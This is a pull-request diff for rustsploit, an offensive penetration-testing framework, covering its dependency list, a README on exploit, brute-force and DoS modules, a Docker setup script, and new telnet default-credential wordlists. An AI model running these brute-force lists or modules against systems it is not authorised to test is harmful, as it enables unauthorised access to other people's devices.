Merge pull request #26 from s-b-repo/beta-testing

Beta testing

Cargo.toml

@@ -1,114 +1,114 @@
 [package]
 name = "rustsploit"
-version = "0.2.0"
+version = "0.3.5"
 edition = "2021"
 build = "build.rs"
 
-[dependencies]
-# For HTTP requests
-reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
-
-#proxy manager
-rand = "0.9"
-
-# For CLI parsing
-clap = { version = "4.5", features = ["derive"] }
-
-# Async runtime for networking
-tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
-
-# Easier error handling
-anyhow = "1.0"
-
-#teminal color
-colored = "3.0"
-rustyline = "15.0"
-
-#ftp brute force module
-async_ftp = "6.0"
-tokio-socks = "0.5"
-rustls = "0.23"
-webpki-roots = "0.26"
-suppaftp   = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
-native-tls = "0.2"
-sysinfo = { version = "0.37", features = ["multithread"] }
-
-#telnet
-threadpool = "1.8"
-crossbeam-channel = "0.5"
-telnet = "0.2"
-
-walkdir = "2.5"
-
-#ssh
-ssh2 = "0.9"
-
-# rstp brute forcing
-base64 = "0.22"
-
-# RDP brute forcing module
-rdp = "0.12"
-
-# ssdp moudle scanner
-regex = "1.11"
-ipnet = "2.11"
-
-#camera uniview exploit
-quick-xml = "0.37"
-
-#ABUS TVIP Dropbear
-md5 = "0.7"
-ftp = "3.0"
-
-#ssh rce race condition
-libc = "0.2"
-futures = "0.3"
-futures-util = "0.3"
-
-#spotube exploit
-serde_json = "1.0"
-tokio-tungstenite = "0.26"
-
-#zte rce
-# Add these to [dependencies]
-aes = "0.8"
-cipher = "0.4"
-flate2 = "1.0"
-
-# for Roundcube exploit payload encoding
-data-encoding = "2.5"
-
-#avanti
-url = "2.5"
-semver = "1.0"
-
-#stalk route full traceroute
-pnet_packet = "0.34"
-socket2 = { version = "0.5", features = ["all"] }
-
-# HTTP/2 Rapid Reset DoS
-# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
-h2 = "0.3"
-tokio-rustls = "0.24"
-http = "0.2"
-bytes = "1.0"
-
-#pingsweep
-which = "8.0"
-
-# API server
-axum = "0.7"
-tower = "0.5"
-tower-http = { version = "0.6", features = ["cors", "trace"] }
-chrono = { version = "0.4", features = ["serde"] }
-serde = { version = "1.0", features = ["derive"] }
-uuid = { version = "1.10", features = ["v4"] }
-sha2 = "0.10"
-hex = "0.4"
-
-[build-dependencies]
-regex = "1.11"         # required for use in build.rs
-
 [[bin]]
 name = "rustsploit"
 path = "src/main.rs"
+
+[dependencies]
+# Core / General
+anyhow = "1.0"
+colored = "3.0"                 # newer than 2.0
+rand = "0.9"
+rustyline = "15.0"
+sysinfo = { version = "0.36", features = ["multithread"] }
+
+# CLI & Async runtime
+clap = { version = "4.5", features = ["derive"] }
+tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
+
+# HTTP & Web
+reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
+h2 = "0.3"
+http = "0.2"
+bytes = "1.0"
+tokio-rustls = "0.24"
+url = "2.5"
+quick-xml = "0.37"
+data-encoding = "2.5"
+semver = "1.0"
+
+# Crypto & Encoding
+aes = "0.8"
+cipher = "0.4"
+md5 = "0.7"
+sha2 = "0.10"
+hex = "0.4"
+flate2 = "1.0"
+base64 = "0.22"
+
+# Networking & Protocols
+tokio-socks = "0.5"
+socket2 = { version = "0.5", features = ["all"] }
+pnet_packet = "0.34"
+ipnet = "2.11"
+ipnetwork = "0.20"
+regex = "1.11"                  # newest listed
+which = "8.0"
+
+# FTP
+async_ftp = "6.0"
+suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
+native-tls = "0.2"
+rustls = "0.23"
+webpki-roots = "0.26"
+
+# Telnet
+threadpool = "1.8"
+crossbeam-channel = "0.5"
+telnet = "0.2"
+async-stream = "0.3.6"
+
+# SSH
+ssh2 = "0.9"
+libc = "0.2"
+
+# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
+# rdp = "0.12"
+
+# Walkdir (used by telnet module)
+walkdir = "2.5"
+
+# WebSocket (Spotube exploit)
+tokio-tungstenite = "0.26"
+
+# Futures
+futures = "0.3"
+futures-util = "0.3"
+
+# JSON & Serialization
+serde = { version = "1.0", features = ["derive"] }
+serde_json = "1.0"
+chrono = { version = "0.4", features = ["serde"] }
+
+# API Server (Axum)
+axum = "0.7"
+tower = "0.5"
+tower-http = { version = "0.6", features = ["cors", "trace"] }
+uuid = { version = "1.10", features = ["v4"] }
+
+# DNS
+hickory-client = { version = "0.24", features = ["dnssec"] }
+hickory-proto = "0.24"
+
+# Misc utilities
+once_cell = "1.19"
+home = "=0.5.11"               # pinned for edition 2021 compatibility
+
+[build-dependencies]
+regex = "1.11"
+
+# Dependency overrides to address security warnings in transitive dependencies
+# Note: These are warnings (not vulnerabilities) in transitive dependencies
+# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
+# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
+
+[profile.release]
+opt-level = 3
+lto = "fat"
+codegen-units = 1
+panic = "abort"
+strip = true

README.md

@@ -3,11 +3,13 @@
 Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
 
 ![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
+![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
 
--  **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
--  **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
--  **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
--  **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
+
+- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
+- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
+- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
+- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
 
 ---
 
@@ -16,12 +18,14 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
 1. [Highlights](#highlights)
 2. [Module Catalog](#module-catalog)
 3. [Quick Start](#quick-start)
-4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
-5. [CLI Usage](#cli-usage)
-6. [Proxy Workflow](#proxy-workflow)
-7. [How Modules Are Discovered](#how-modules-are-discovered)
-8. [Contributing](#contributing)
-9. [Credits](#credits)
+4. [Docker Deployment](#docker-deployment)
+5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
+6. [CLI Usage](#cli-usage)
+7. [API Server Mode](#api-server-mode)
+8. [Proxy Workflow](#proxy-workflow)
+9. [How Modules Are Discovered](#how-modules-are-discovered)
+10. [Contributing](#contributing)
+11. [Credits](#credits)
 
 ---
 
@@ -35,6 +39,7 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
 - ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
 - ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
 - ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
+- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
 
 ---
 
@@ -46,7 +51,7 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
 |----------|------------|
 | `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
 | `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
-| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
+| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
 | `payloadgens` | `narutto_dropper`, BAT payload generator |
 | `lists` | RTSP wordlists and helper files |
 
@@ -58,7 +63,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
 
 ### Requirements
 
-```
+ ```
 sudo apt update
 sudo apt install freerdp2-x11    # Required for the RDP brute force module
 ```
@@ -67,7 +72,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
 
 ### Clone + Build
 
-```
+ ```
 git clone https://github.com/s-b-repo/rustsploit.git
 cd rustsploit
 cargo build
@@ -75,23 +80,79 @@ cargo build
 
 ### Run (Interactive Shell)
 
-```
+ ```
 cargo run
 ```
 
 ### Install (optional)
 
-```
+ ```
 cargo install --path .
 ```
 
 ---
 
+## Docker Deployment
+
+Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
+
+### Requirements
+
+- Docker Engine 24+ (or Docker Desktop)
+- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
+- Python 3.8+
+
+### Interactive Setup
+
+ ```
+python3 scripts/setup_docker.py
+```
+
+The helper will:
+
+1. Confirm you are in the repository root (`Cargo.toml` present).
+2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
+3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
+4. Toggle hardening mode and tune the IP limit if desired.
+5. Generate:
+   - `docker/Dockerfile.api` (build + serve stages)
+   - `docker/entrypoint.sh` (passes CLI flags / hardening state)
+   - `.env.rustsploit-docker` (API key, bind address, hardening settings)
+   - `docker-compose.rustsploit.yml`
+6. Optionally run `docker compose up -d --build` with BuildKit enabled.
+
+Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
+
+### Non-Interactive / CI Usage
+
+All prompts have CLI equivalents:
+
+ ```
+python3 scripts/setup_docker.py \
+  --bind 0.0.0.0:8443 \
+  --generate-key \
+  --enable-hardening \
+  --ip-limit 5 \
+  --skip-up \
+  --force \
+  --non-interactive
+```
+
+This produces the Docker assets but skips the compose launch. To start the stack later:
+
+ ```
+docker compose -f docker-compose.rustsploit.yml up -d --build
+```
+
+Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
+
+---
+
 ## Interactive Shell Walkthrough
 
 The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
 
-```
+```text
 RustSploit Command Palette
 Command          Shortcuts                Description
 --------------- ------------------------- ------------------------------
@@ -110,7 +171,7 @@ exit             exit | quit | q          Leave shell
 
 Example session:
 
-```
+```text
 rsf> f1 ssh
 rsf> u creds/generic/ssh_bruteforce
 rsf> set target 10.10.10.10
@@ -128,7 +189,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
 
 Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
 
-```
+ ```
 # Exploit
 cargo run -- --command exploit --module heartbleed --target 192.168.1.1
 
@@ -143,6 +204,177 @@ Any module exposed to the shell can be called here. Use the `modules` shell comm
 
 ---
 
+## API Server Mode
+
+Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
+
+### Starting the API Server
+
+ ```
+# Basic API server (defaults to 0.0.0.0:8080)
+cargo run -- --api --api-key your-secret-key-here
+
+# With hardening enabled (auto-rotate API key on suspicious activity)
+cargo run -- --api --api-key your-secret-key-here --harden
+
+# Custom interface and IP limit
+cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
+
+# Custom port
+cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
+```
+
+### API Flags
+
+| Flag | Description | Required |
+|------|-------------|----------|
+| `--api` | Enable API server mode | Yes |
+| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
+| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
+| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
+| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
+
+### API Endpoints
+
+All endpoints except `/health` require authentication via the `Authorization` header:
+
+ ```
+# Bearer token format
+Authorization: Bearer your-api-key-here
+
+# Or ApiKey format
+Authorization: ApiKey your-api-key-here
+```
+
+#### Public Endpoints
+
+- **`GET /health`** - Health check (no authentication required)
+  ```
+  curl http://localhost:8080/health
+  ```
+
+#### Protected Endpoints
+
+- **`GET /api/modules`** - List all available modules
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
+  ```
+
+- **`POST /api/run`** - Execute a module on a target
+  ```
+  curl -X POST -H "Authorization: Bearer your-api-key" \
+       -H "Content-Type: application/json" \
+       -d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
+       http://localhost:8080/api/run
+  ```
+
+- **`GET /api/status`** - Get API server status and statistics
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
+  ```
+
+- **`POST /api/rotate-key`** - Manually rotate the API key
+  ```
+  curl -X POST -H "Authorization: Bearer your-api-key" \
+       http://localhost:8080/api/rotate-key
+  ```
+
+- **`GET /api/ips`** - Get all tracked IP addresses with details
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
+  ```
+
+- **`GET /api/auth-failures`** - Get authentication failure statistics
+  ```
+  curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
+  ```
+
+### telnet config example
+ ```
+{
+  "port": 23,
+  "username_wordlist": "usernames.txt",
+  "password_wordlist": "passwords.txt",
+  "threads": 10,
+  "delay_ms": 50,
+  "connection_timeout": 3,
+  "read_timeout": 1,
+  "stop_on_success": true,
+  "verbose": false,
+  "full_combo": true,
+  "raw_bruteforce": false,
+  "raw_charset": "",
+  "raw_min_length": 0,
+  "raw_max_length": 0,
+  "output_file": "results.txt",
+  "append_mode": false,
+  "pre_validate": true,
+  "retry_on_error": true,
+  "max_retries": 2,
+  "login_prompts": ["login:", "username:"],
+  "password_prompts": ["password:"],
+  "success_indicators": ["$", "#", "welcome"],
+  "failure_indicators": ["incorrect", "failed"]
+}
+```
+  
+  
+  
+### Security Features
+
+#### Rate Limiting
+- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
+- Blocked IPs receive HTTP `429 Too Many Requests` responses
+- Failed attempts are logged to both terminal and log file
+- Counter resets automatically after the block period expires
+- Successful authentication resets the failure counter for that IP
+
+#### Hardening Mode
+When `--harden` is enabled:
+- Tracks unique IP addresses accessing the API
+- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
+- Logs all rotation events to terminal and `rustsploit_api.log`
+- Clears IP tracking after key rotation
+
+#### Logging
+All API activity is logged to:
+- **Terminal:** Real-time console output with colored status messages
+- **Log File:** `rustsploit_api.log` in the current working directory
+
+Log entries include:
+- API requests and responses
+- Authentication failures and rate limiting events
+- IP tracking and hardening actions
+- Key rotation events
+- Module execution results
+
+### Example API Workflow
+
+ ```
+# 1. Start the API server
+cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
+
+# 2. Check health
+curl http://localhost:8080/health
+
+# 3. List available modules
+curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
+
+# 4. Run a port scan
+curl -X POST -H "Authorization: Bearer my-secret-key" \
+     -H "Content-Type: application/json" \
+     -d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
+     http://localhost:8080/api/run
+
+# 5. Check status
+curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
+
+# 6. View tracked IPs
+curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
+```
+
+---
+
 ## Proxy Workflow
 
 Rustsploit treats proxy lists as first-class citizens:
@@ -164,7 +396,7 @@ Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed tra
 
 Rustsploit scans `src/modules/` recursively during build. Each module should expose:
 
-```
+```rust
 pub async fn run(target: &str) -> anyhow::Result<()>;
 ```
 

lists/telnet-default/empty.txt

@@ -0,0 +1 @@
+

lists/telnet-default/passwords.txt

@@ -0,0 +1,20 @@
+admin
+password
+123456
+1234
+root
+toor
+guest
+default
+admin123
+adminadmin
+pass
+changeme
+password1
+cisco
+ubnt
+support
+12345
+qwerty
+letmein
+test

lists/telnet-default/usernames.txt

@@ -0,0 +1,20 @@
+admin
+root
+user
+administrator
+guest
+support
+operator
+supervisor
+admin1
+root1
+manager
+service
+master
+tech
+sysadmin
+default
+cisco
+ubnt
+pi
+test

scripts/setup_docker.py

@@ -0,0 +1,327 @@
+#!/usr/bin/env python3
+"""
+Interactive generator for RustSploit Docker-Compose stack.
+Produces:
+  docker-compose.rustsploit.yml (with embedded Dockerfile)
+  .env.rustsploit-docker
+and prints the command to bring the stack up.
+
+This variant includes runtime fixes to avoid permission-denied on /app/data
+and ensures the container starts as root briefly to fix ownership, then
+executes the rustsploit binary as the less-privileged `rustsploit` user.
+"""
+import secrets
+import os
+import stat
+import socket
+import ipaddress
+import subprocess
+import pwd
+from pathlib import Path
+
+# Fix: Use parent.parent since script is in scripts/ directory
+repo = Path(__file__).resolve().parent.parent
+if not (repo / "Cargo.toml").exists():
+    print("[-] Error: Run this script from the RustSploit repository root.")
+    print(f"    Expected Cargo.toml at: {repo / 'Cargo.toml'}")
+    exit(1)
+
+# ---------- Helper functions ----------
+def ask(prompt, default=None, validator=None):
+    """Interactive prompt with validation."""
+    suffix = f" [{default}]" if default is not None else ""
+    while True:
+        val = input(f"{prompt}{suffix}: ").strip()
+        if not val and default is not None:
+            val = default
+        if not val:
+            print("Value cannot be empty.")
+            continue
+        if validator:
+            try:
+                validator(val)
+            except ValueError as e:
+                print(f"Invalid input: {e}")
+                continue
+        return val
+
+
+def ask_yes_no(prompt, default=True):
+    """Yes/No prompt."""
+    hint = "Y/n" if default else "y/N"
+    while True:
+        val = input(f"{prompt} ({hint}): ").strip().lower()
+        if not val:
+            return default
+        if val in ("y", "yes"):
+            return True
+        if val in ("n", "no"):
+            return False
+        print("Please answer 'y' or 'n'.")
+
+
+def validate_host(host):
+    """Validate host/IP address."""
+    host = host.strip()
+    if not host:
+        raise ValueError("Host cannot be empty")
+    # Allow localhost
+    if host == "localhost":
+        return
+    # Try to parse as IP
+    try:
+        ipaddress.ip_address(host)
+    except ValueError:
+        # Not a valid IP, check if it's a valid hostname
+        if len(host) > 253:
+            raise ValueError("Hostname too long (max 253 chars)")
+        if any(c.isspace() for c in host):
+            raise ValueError("Hostname cannot contain whitespace")
+
+
+def validate_port(port_str):
+    """Validate port number."""
+    try:
+        port = int(port_str)
+        if not (1 <= port <= 65535):
+            raise ValueError("Port must be between 1 and 65535")
+    except ValueError as e:
+        if "invalid literal" in str(e):
+            raise ValueError("Port must be a number")
+        raise
+
+
+def detect_private_ip():
+    """Try to detect private IP address."""
+    try:
+        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
+            sock.connect(("192.0.2.1", 80))
+            return sock.getsockname()[0]
+    except OSError:
+        return None
+
+# ---------- Interactive prompts ----------
+print("\n[+] RustSploit Docker Setup\n")
+
+# Host selection
+print("Select bind address:")
+print("  [1] 127.0.0.1 (localhost only)")
+print("  [2] 0.0.0.0 (all interfaces)")
+print("  [3] Private LAN IP (auto-detect)")
+print("  [4] Custom IP/hostname")
+
+choice = ask("Choice", "2")
+if choice == "1":
+    host = "127.0.0.1"
+elif choice == "2":
+    host = "0.0.0.0"
+elif choice == "3":
+    detected = detect_private_ip()
+    if detected:
+        print(f"[+] Detected private IP: {detected}")
+        use_detected = ask_yes_no("Use detected IP?", True)
+        host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
+    else:
+        print("[-] Could not auto-detect private IP")
+        host = ask("Enter IP/hostname", validator=validate_host)
+else:
+    host = ask("Enter IP/hostname", validator=validate_host)
+
+# Port
+# Default changed to 9000 as this is a common API port and matches user's prior usage
+port_str = ask("Host port to expose", "9000", validator=validate_port)
+port = int(port_str)
+
+# API Key
+print("\n[+] API Key Configuration")
+generate_key = ask_yes_no("Generate random API key?", True)
+if generate_key:
+    api_key = secrets.token_urlsafe(32)
+    print(f"[+] Generated API key: {api_key}")
+else:
+    api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
+
+# Hardening
+print("\n[+] Security Hardening")
+harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
+ip_limit = 10
+if harden:
+    ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
+    ip_limit = int(ip_limit_str)
+
+# ---------- File generation ----------
+env_file = ".env.rustsploit-docker"
+compose_file = "docker-compose.rustsploit.yml"
+
+env_path = repo / env_file
+compose_path = repo / compose_file
+
+# Check for existing .env file
+if env_path.exists():
+    print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
+    if not ask_yes_no("Overwrite .env file?", False):
+        print("[-] Aborted.")
+        exit(0)
+
+# Check for existing docker-compose file
+if compose_path.exists():
+    print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
+    if not ask_yes_no("Overwrite docker-compose file?", False):
+        print("[-] Aborted.")
+        exit(0)
+
+# ---- .env ----
+container_interface = f"0.0.0.0:{port}"
+env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
+RUSTSPLOIT_API_KEY={api_key}
+RUSTSPLOIT_HARDEN={"true" if harden else "false"}
+RUSTSPLOIT_IP_LIMIT={ip_limit}
+"""
+env_path.write_text(env_content)
+# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
+os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
+print(f"\n[+] Generated: {env_path}")
+
+# Fix ownership if file was created with sudo (owned by root)
+if env_path.stat().st_uid == 0:
+    print("[!] File was created as root. Fixing ownership...")
+    try:
+        # Get the actual user (SUDO_USER if running via sudo, otherwise current user)
+        user = os.environ.get('SUDO_USER') or os.environ.get('USER')
+        if not user:
+            user = pwd.getpwuid(os.getuid()).pw_name
+        
+        # If we're running as root (via sudo), we can chown directly
+        if os.geteuid() == 0:
+            user_info = pwd.getpwnam(user)
+            os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
+            print(f"[+] Ownership fixed: {user}:{user}")
+        else:
+            # Not root, need to use sudo
+            subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
+            print(f"[+] Ownership fixed: {user}:{user}")
+    except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
+        print(f"[!] Warning: Could not automatically fix ownership: {e}")
+        print(f"    Please run manually: sudo chown $USER:$USER {env_path}")
+
+# ---- docker-compose.yml with embedded Dockerfile ----
+# Note: The serve stage runs the entrypoint as root so it can fix ownership of
+# /app/data at container startup, then it drops privileges and executes the
+# rustsploit binary as the less-privileged `rustsploit` user via runuser.
+
+dockerfile_content = """FROM rust:1.83-slim AS builder
+WORKDIR /workspace
+ENV CARGO_TERM_COLOR=always
+
+RUN apt-get update \\
+    && apt-get install -y --no-install-recommends \\
+        build-essential \\
+        pkg-config \\
+        libssl-dev \\
+        libclang-dev \\
+        libpcap-dev \\
+        libsqlite3-dev \\
+    && rm -rf /var/lib/apt/lists/*
+
+COPY Cargo.toml ./
+COPY Cargo.lock* ./
+
+COPY . .
+RUN cargo build --release --bin rustsploit
+
+FROM debian:bookworm-slim AS serve
+RUN apt-get update \\
+    && apt-get install -y --no-install-recommends ca-certificates util-linux \\
+    && rm -rf /var/lib/apt/lists/*
+
+# create non-root user
+RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
+WORKDIR /app
+
+# create data dir (image-level), but runtime entrypoint will chown the volume target
+RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
+
+COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
+
+# entrypoint runs as root (default) so it can fix ownership of mounted volumes
+RUN echo '#!/bin/sh' > /entrypoint.sh && \\
+    echo 'set -e' >> /entrypoint.sh && \\
+    echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
+    echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
+    echo '  ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
+    echo '  if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
+    echo '    ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
+    echo '  fi' >> /entrypoint.sh && \\
+    echo 'fi' >> /entrypoint.sh && \\
+    # ensure data dir exists and is owned by rustsploit so that non-root process can write
+    echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
+    echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
+    echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
+    echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
+    echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
+    echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
+    echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
+    # finally, execute rustsploit as the rustsploit user using runuser
+    echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
+    chmod +x /entrypoint.sh && \\
+    chown root:root /entrypoint.sh && \\
+    chown root:root /usr/local/bin/rustsploit
+
+# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
+EXPOSE 8080
+ENTRYPOINT ["/entrypoint.sh"]
+"""
+
+# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
+dockerfile_path = repo / "Dockerfile.rustsploit"
+dockerfile_path.write_text(dockerfile_content)
+print(f"[+] Generated: {dockerfile_path}")
+
+# Generate docker-compose.yml
+compose_content = f"""# Generated by {Path(__file__).name}
+services:
+  rustsploit-api:
+    container_name: rustsploit-api
+    build:
+      context: .
+      dockerfile: Dockerfile.rustsploit
+      target: serve
+    restart: unless-stopped
+    env_file:
+      - {env_file}
+    ports:
+      - "{host}:{port}:{port}"
+    security_opt:
+      - no-new-privileges:true
+    tmpfs:
+      - /tmp
+    volumes:
+      - rustsploit-data:/app/data
+
+volumes:
+  rustsploit-data:
+    name: rustsploit-data
+"""
+
+compose_path.write_text(compose_content)
+print(f"[+] Generated: {compose_path}")
+
+print("\n[+] Setup complete!")
+print("\n[+] Generated files:")
+print(f"    - {env_path.relative_to(repo)}")
+print(f"    - {compose_path.relative_to(repo)}")
+print(f"    - {dockerfile_path.relative_to(repo)}")
+print(f"\n[!] Note: Run docker compose commands from the repository root:")
+print(f"    cd {repo}")
+print("\n[+] To start the stack, run:")
+print(f"    cd {repo} && docker compose -f {compose_file} up -d --build")
+print(f"    # OR from any directory:")
+print(f"    docker compose -f {compose_path} up -d --build")
+print("\n[+] To view logs:")
+print(f"    cd {repo} && docker compose -f {compose_file} logs -f")
+print(f"    # OR from any directory:")
+print(f"    docker compose -f {compose_path} logs -f")
+print("\n[+] To stop the stack:")
+print(f"    cd {repo} && docker compose -f {compose_file} down")
+print(f"    # OR from any directory:")
+print(f"    docker compose -f {compose_path} down")

src/api.rs

@@ -350,11 +350,12 @@ impl ApiState {
 
 async fn auth_middleware(
     State(state): State<ApiState>,
+    ConnectInfo(addr): ConnectInfo<SocketAddr>,
     headers: HeaderMap,
     request: Request,
     next: Next,
 ) -> Response {
-    // Extract IP address first - try to get from headers first (for proxied requests)
+    // Extract IP address - try to get from headers first (for proxied requests)
     let client_ip = headers
         .get("x-forwarded-for")
         .or_else(|| headers.get("x-real-ip"))
@@ -366,16 +367,8 @@ async fn auth_middleware(
                 .trim()
                 .to_string()
         })
-        .filter(|s| !s.is_empty());
-
-    // Fall back to direct connection IP from request extensions
-    let client_ip = if let Some(ip) = client_ip {
-        ip
-    } else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
-        addr.ip().to_string()
-    } else {
-        "unknown".to_string()
-    };
+        .filter(|s| !s.is_empty())
+        .unwrap_or_else(|| addr.ip().to_string());
 
     // Check rate limit before processing authentication
     if client_ip != "unknown" {
@@ -702,7 +695,7 @@ pub async fn start_api_server(
     let app = Router::new()
         .route("/health", get(health_check))
         .merge(protected_routes)
-        .layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
+        .layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
         .with_state(state);
 
     let listener = tokio::net::TcpListener::bind(bind_address)
@@ -720,5 +713,4 @@ pub async fn start_api_server(
     .context("API server error")?;
 
     Ok(())
-}
-
+}

src/cli.rs

@@ -39,4 +39,8 @@ pub struct Cli {
